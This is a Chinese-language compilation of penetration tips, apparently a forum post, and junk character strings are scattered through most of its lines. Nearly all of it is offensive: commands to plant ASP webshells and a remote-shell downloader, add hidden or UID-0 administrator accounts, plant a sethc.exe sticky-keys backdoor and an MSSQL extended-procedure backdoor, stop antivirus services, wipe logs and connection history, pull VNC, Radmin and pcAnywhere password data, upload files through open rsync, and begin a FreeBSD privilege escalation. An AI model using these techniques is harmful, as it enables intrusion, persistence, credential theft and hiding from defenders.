渗透技巧总结

admin

旁站路径问题
: n& H4 ?# _( ^. M  d7 @; c1、读网站配置。
$ A" E; F7 M/ w/ m; g: H8 Z+ o2、用以下VBS
4 h, ?, H3 \9 M' D, z, nOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
- S( T" W# @7 p; o        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
: @/ r; s" E0 S! Q" [5 M( g
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
) b# x2 }2 H7 k( D; wEnd If
+ M' ~1 ?; r3 ]* D* n) eSet ObjService=GetObject

: t- f+ N4 D$ T* F("IIS://LocalHost/W3SVC")
9 v6 X) V! z; r+ H; W5 \$ v' g* ZFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
" x" }# e  X) u# V4 s
+ H7 F8 a# T; u8 C$ v8 A, `Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
) d! j0 {4 e$ [& c0 B" _; l         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
4 [" l2 V$ u8 k1 c2 w4 R7 m" L                If Err
2 F' l& \+ V" ]" w" U" ~( n' }+ `
<> 0 Then WScript.Quit (1)
" X. B' K  t1 |7 N0 }                WScript.Echo Chr(10) & "[" &
3 c9 c- n9 O+ O* |
OService.ServerComment & "]"
2 \+ G4 @7 W6 V1 l                For Each Binds In OService.ServerBindings
! @) W/ _/ G6 w- W4 c# e* R     

2 j( U+ g) C7 r                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
  y; f  _2 L, S$ Y8 x                        

# f& h8 [4 r0 DWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
% x. T' d! \8 ^5 o0 \$ k6 p
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
- {/ {1 a1 k8 z0 P复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
: `' f5 a- {7 {  jWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
; B) a- `0 p& P& jurl/wp-content/plugins/akismet/hello.php
' g% U# V! E+ Y9 q) Y& E——————————————————————
8 V/ p9 o5 i; n: HphpMyAdmin暴路径办法:
7 n* H: R' D" gphpMyAdmin/libraries/select_lang.lib.php
9 l  h+ x' M8 v/ S( P3 p& J! _* v, ^phpMyAdmin/darkblue_orange/layout.inc.php
* G- i4 G, i) hphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
$ j! ^7 {6 Q' O$ ]. Jdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
, K: F3 t5 m8 S2 y7 w& bnetsh ras set user administrator permit #允许administrator拨入该VPN
1 `, A$ W% ], X3 W" j$ C3 A) l: z% \netsh ras set user administrator deny #禁止administrator拨入该VPN
! }" S. x5 w, \5 B1 K) Vnetsh ras show user #查看哪些用户可以拨入VPN
- }! W, Y2 R% w) J7 Y9 ]7 x: a0 ?netsh ras ip show config #查看VPN分配IP的方式
; c+ u. g0 L) Y% e3 Qnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
! E) m$ U* N1 n2 v+ e( Lnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
0 s+ G4 V" C! w( C2 X. c————————————————————
  w9 m$ W4 D$ @. w0 B命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
/ o/ M. L& Z' P, A5 c  cEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
! Z1 A' E3 T3 P4 `在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
) e) s+ P" d3 B) \. Jjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
! b8 g$ c) V  c9 r1 \z.setting("AccountType")=3;

# I4 F$ f0 _  B# F" n3 B- b9 P9 h8 S1 Svbs:
Set   o=CreateObject( "Shell.Users" )
9 A7 \% c# C' O& n0 ^5 u  R; T( a# ySet z=o.create("test")
$ D. ]- Q8 o* H9 O9 yz.changePassword "123456",""
! S: u! g+ O4 v9 Pz.setting("AccountType")=3
. \9 F0 G& S* X——————————————————
% g5 b! L) W- s" l8 O7 |- {6 rcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
. M( g0 s# {2 z$ g
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
) V" L- o" }' U& |$ O7 G' ~$ ncacls "目录" /d everyone               #everyone不可读，包括admin
5 h+ ~; F# `, l1 ?————————以下配合PR更好————
, V# z$ g$ }. w% A9 d; ~/ \2 V4 d3389相关
# V7 f- p$ W. i( l2 y/ Q4 Z* Ga、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
% Y4 C/ L( h' X9 A: O+ T7 Vb、内网环境（LCX）
+ \6 b/ t3 e: D% D0 v/ X* pc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

4 b5 w$ E# H- C. V杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
2 k  E- m) s% `* J& w: nnet stop "Symantec AntiVirus" /y
5 Y7 O5 r+ z- h6 v( {net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
! J" L: n- K, ?net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————

8 V4 ]" ^, r  k6 \5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
) U+ V1 N# ~. R/ w$ _) M2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
2 ^* G6 k2 A  V4、利用Hacker Defender把相关用户注册表隐藏
5 r7 d1 b% [" R9 ^' \; y6 v——————————————————————
5 p1 s& `$ E. B& QMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
2 R& U4 i- y: \3 O2 C: j4 E8 l( O$ f———————————————————————
日志处理
/ n; R6 |7 ^2 tC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
( L9 N* J* j1 L不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
. S3 Z9 Q+ j  yHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

' E: b# @. e8 O* x% DServer\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
* W! W2 [' d& n% {) d; g) h
7 g; }" r! r4 z$ k! Q/ P* R  S5 x<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
& Z2 t1 d& w+ e; M+ {2 O- C5 l0 yOn Error Resume Next
" G$ |/ B# \% r( }Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
0 z/ d$ h$ F  u* S& ].Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
2 @" x8 [6 j2 ^* `End With
Set Retrieval = Nothing
# Q1 h+ g5 N2 D: g7 SSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
- F0 h! _) P" mEnd With
Set Ads=nothing
End Sub
! x& Z/ c6 `  r! H6 ?8 f8 D
& v# w9 }3 H2 B) |) L3 CeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
" @( H# N  \: P. L利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
! W# L/ D/ X8 B8 R  MRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
0 r0 ]" M; `# Q4 O$ VHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
# k2 o% X7 e2 j1 K6 Z' k, r$ \- {如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
2 L6 _2 n% T3 fUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
5 c$ J" \/ N# q" ^6 y8 i& \搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
4 q# K  {" f% {$ S  Y& Z9 S
* W) r# ?4 H& _8 q1433 SA点构建注入点。
$ T7 K8 O( j  R* Z- G<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
: X: H  ]/ l9 {/ b' `Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
; @8 B0 I9 R# _. u! n4 E% q7 `
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

/ B2 s" E2 C6 {7 O6 bstrSQLDBName & ";"
& r3 h; [3 `4 l5 ^conn.open strCon
- ~$ l$ c) w/ r( E0 u# n4 Rdim rs,strSQL,id
$ C1 {1 j4 d' }. _; {* k" M2 x, oset rs=server.createobject("ADODB.recordset")
4 L. e0 y/ \4 r$ aid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
  H# X/ w1 j, p9 B0 z0 b" o& W%>
% B9 W2 r, s4 l6 g* H! }6 m复制代码
1 i& x6 V' b! ~( S3 Q******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
# G' a2 j! A5 _" F* ]
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
& o9 f7 J- n$ W& q+ C* _7 d4 e找到ou,dc,dc设置
9 \" G9 J5 u3 r! D! [3 A8 N$ D2 i- g
3.查找管理员信息
! x  }. |$ F+ x* Z' [" [匿名方式
5 j2 d7 I9 s" H# Y: F* P2 pldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

0 M: a$ m5 i2 p3 j+ p* p$ X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* c0 `, M, H4 N7 @7 e有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 j# G/ F! e3 O2 _/ C+ A) ]/ j  }1 F
% H* s) W4 G2 w2 C3 J"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 v  _) |& Q2 e1 X8 n
  d' c; I# s- G' g# q* i
# G# i" [7 g& A; h$ \8 L' s% b4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ `# t0 M0 k( T% L) c6 C
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
5 @) K. y6 C. T, S1 S* h3 w
+ t6 g! t' G/ _. H+ @, m7 f  {2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

9 Q2 W7 x/ t) g0 l$ g0 s  p5 ?"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, P, V. H1 }$ v$ d2 `有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
  K4 T8 k+ a% t- X  r+ |
7 S5 ?7 ^3 _1 B+ E"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 {- C! r# O; ?! i

5 z/ Q$ m3 F1 x" u4.查找10条用户记录
: l# L! n5 B: A; T( X$ Bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
/ t) g$ l0 h0 D4 d# P
, q! J+ q# Y' E" V7 |9 T渗透实战:
+ Z% d% K# J7 W7 L% J6 j# P# K1.返回所有的属性
: r# v% w0 M3 p6 t  P* O/ @+ jldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
& ]2 Q+ [  d0 bversion: 1
1 n7 I! S/ ^8 E/ M2 ?' [dn: dc=ruc,dc=edu,dc=cn
  v& P3 R- r& _7 J: w6 l7 Ddc: ruc
; {1 p3 g7 ]5 m) \' lobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
6 {4 f9 n, t: ?: Duid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
5 T# v" ^. d7 SobjectClass: person
objectClass: top
9 d; u) x2 R4 L5 v! Esn: manager
! N! i/ H. |! y/ B. S9 l8 Ucn: manager

  d$ M8 W! w; j& odn: uid=superadmin,dc=ruc,dc=edu,dc=cn
! h4 x6 a+ C( J2 ]uid: superadmin
! j/ v6 \- R; L1 E( |4 yobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin
5 f3 Z& Y! z7 [; {/ k# ]* g
4 Z! [* m/ f8 C2 @: I* q) Qdn: uid=admin,dc=ruc,dc=edu,dc=cn
7 J# y' x8 Q6 l/ n9 Puid: admin
objectClass: inetOrgPerson
# H" u6 Q: `! I& ?objectClass: organizationalPerson
, G$ j) @" Z) `# }objectClass: person
objectClass: top
+ r+ I: D4 P. n9 G7 Ssn: admin
1 T2 t0 x8 R' `3 |# n! A, Acn: admin

, h3 j& N  ~, e, j: L) ndn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
4 W# z' q. S7 |# E# nuid: dcp_anonymous
objectClass: top
/ n  W7 Y2 x$ t# y/ N& B* x3 VobjectClass: person
" l7 t) V8 W7 P7 H$ w- y, c# F( }objectClass: organizationalPerson
: d5 ~# K. g2 J  Y3 x3 iobjectClass: inetOrgPerson
4 A5 a& j3 d. V. }& Hsn: dcp_anonymous
4 T( w7 y3 m; gcn: dcp_anonymous
4 T5 ~0 S) Z4 x9 L" X. b9 L7 k) X
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
" n- d+ P4 Z) K8 A1 H* H8 v* f4 D
1 J! M0 V4 I7 I$ ~5 [5 e4 \more
version: 1
dn: dc=ruc,dc=edu,dc=cn
( @- `0 A; B, P. j" S9 q7 w0 idc: ruc
0 X( g& c+ u7 g2 S/ K' y2 |, cobjectClass: domain

3.查找
) i1 P' x9 U& j" Z" d5 i# l7 {bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
" j2 v3 S# q+ @9 o$ R1 K8 H7 Iversion: 1
3 r% U1 x5 F8 S, ydn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
- h) P  z" R1 z; J/ x+ ZsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
3 ?. c1 ]6 t/ X7 FsupportedExtension: 2.16.840.1.113730.3.5.3
+ J3 E' O, |; A! @7 FsupportedExtension: 2.16.840.1.113730.3.5.5
7 l" k8 w  a' a0 ]supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
2 K/ x7 J5 Y# u: `# a5 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
2 _7 L4 Q+ A2 k# m- R7 ^& \" ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
& j+ c' f4 G/ e- o: u  jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
: a4 J5 j0 s* d1 o% Q6 i9 U+ asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
; n: u( T8 E  y+ EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
  O1 ]' V; T& O; e- A  x1 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
/ U! Q. \7 m0 _4 NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
8 o" a( g* Z  U$ ]" n0 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
( g9 N! t7 ^; X) P. t# ~) _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
0 h/ _* Q! Y0 n! BsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
4 q1 O! J  T, g, l. R0 k9 L$ dsupportedControl: 2.16.840.1.113730.3.4.3
4 {5 P5 P# {0 D+ |supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
% i# P2 u2 M+ h, ?9 ^supportedControl: 2.16.840.1.113730.3.4.9
7 Y& ^. P+ @/ p/ q! N2 w6 ?supportedControl: 2.16.840.1.113730.3.4.16
8 Z$ X8 g! L9 @2 \supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
) F* ~- k2 m  ~1 psupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
( X. R+ j. g$ }+ g; hsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
7 q+ W. j* ]9 q1 Z% |0 F+ JsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
9 A# }# w( E0 }supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
* b' X9 b* |2 q  A8 r/ D4 AsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
' [8 P/ W8 L/ mvendorVersion: Sun-Java(tm)-System-Directory/6.2
- ~5 E# D, L( D. G9 Ydataversion: 020090516011411
; a' G/ I/ B8 n# {1 [netscapemdsuffix: cn=ldap://dc=webA:389
$ V5 A' S# u8 L2 jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
# M% L5 F2 {4 }( w/ usupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
$ d$ Z. s! Z/ B5 A. k5 `. N" RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
( u- G9 f. {6 V# \$ I+ M0 y: [supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
% y% e5 K8 _' VsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
9 Q; b3 ?4 u" ]; ?supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
) l! j% s: Q/ g9 u9 j# _2 |supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
; v. o% R* y. [) @7 OsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
5 h$ Z3 J: I# `" D3 a! ]1 nsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
* b7 I' X* g" Q( L- U0 ZsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
" n9 R6 K: f0 Z. c1 asupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
" y+ P6 I5 s4 I3 P: CsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
2 g3 B4 K8 g9 G1 J8 N* o4 zsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
8 @0 b- A+ J" {supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
, p% E* A% c( G: P9 |9 e5 P  q% }supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
, p5 e# b8 V+ r( _% d7 N8 E4 IsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
3 \0 A0 v+ ]" C; B  X% IsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
* n' ?* ?  g' a  k# m3 P5 N7 FsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
- U" y& ]% n( _3 C/ l% ^4 G; Z4 bsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
9 W4 m7 ~3 T& B6 B& Y, p5 OsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
- H& N1 x5 ?/ j6 m/ g7 dsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
1 n* _; O8 U: X: v1 I- c) l4 C" I- L+ Y$ xsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
, j! u2 M! ]4 w6 @8 ]supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
8 C  C0 f" B/ p% isupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
, a2 w/ N4 W" H. u9 F6 Y  csupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
' P) m& b, X. H( o( }6 _# b8 isupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
5 @& ^2 U( A7 R. S# _( i' Z! isupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
0 @" B, p7 x+ m2 e# u* v9 H————————————
2. NFS渗透技巧
8 @! N8 ?8 q2 h0 B$ Vshowmount -e ip
列举IP
——————
3.rsync渗透技巧
3 D+ B, o3 f9 j; D4 H0 C1.查看rsync服务器上的列表
( _, c! d, E- _# `" }3 qrsync 210.51.X.X::
. Z" _8 D. }; }% W" `finance
3 N- O( ?4 @1 G' ?img_finance
! l6 f/ }" }; [/ zauto
6 Y) V( v1 X3 S$ r( S2 ]. zimg_auto
6 r- b8 m, I. v) Y2 h) z" l  Ahtml_cms
3 E2 s) f  h0 L" oimg_cms
ent_cms
ent_img
ceshi
res_img
+ M, c7 D6 T/ E, F5 }9 `5 H6 ~res_img_c2
chip
chip_c2
ent_icms
games
/ Q( I2 X$ E' v& o* B4 F8 o" G* Ogamesimg
media
mediaimg
fashion
res-fashion
1 p; h" }% A- z, Wres-fo
- ^: e  U6 p& r. _% L9 w% ntaobao-home
* k+ _; z% V( ^res-taobao-home
' |, e- k; |6 S, nhouse
res-house
res-home
; [, l9 U0 N: S3 Rres-edu
res-ent
res-labs
# z) j5 G8 |) b7 R  sres-news
res-phtv
6 U: c0 ^7 J: \res-media
/ r& ?& y/ V" rhome
edu
! `. x; o  B: {2 L8 ]$ Inews
( f; P7 m% I( K  Q! l; R2 zres-book
3 B" H  t1 I* z; l( j; f
看相应的下级目录(注意一定要在目录后面添加上/)


4 w) _0 T/ E1 ^% a: S4 @rsync 210.51.X.X::htdocs_app/
! l( K; R  u1 V7 i+ N, Frsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

' j9 A- ?8 ?" B1 f1 W+ u. }0 [2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
2 `  @9 c) `% F/ Irsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
7 Z. ]( m& B" a! F) y: V% \http://app.finance.xxx.com/warn/nothack.txt

6 f  u$ Q4 R$ p0 }; c# e, g四.squid渗透技巧
* Y: f3 R' ^0 hnc -vv baidu.com 80
7 ~5 `* F" U* T; O8 pGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
, M" M5 y% @; r6 t7 ^) S五.SSH端口转发
2 O) X3 {/ p9 A" _1 fssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

2 V9 p3 @0 ^% D3 e( G' P/ w+ @六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

( h* }' P2 Z4 t: w. r15&catid=32:languages&Itemid=47
0 t, c- R! Q, W0 r. m' i5 Z
/ r3 A$ {+ W) k! A重新设置密码
index.php?option=com_user&view=reset&layout=confirm

' X$ X& |- @" B0 j3 D5 Y1 Y七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

! v+ p+ h- u; Q. {/ c: K0 s" V八.freebsd本地提权
4 p- V' i( K2 J4 L+ K2 z[argp@julius ~]$ uname -rsi
; Z9 \: I1 r5 c7 Z# k" |& Z* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
' `( D2 d- I& n5 {# S" S' e  Q* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
2 }# i4 R1 z) _% \1 \" }7 n*
calling nmount()

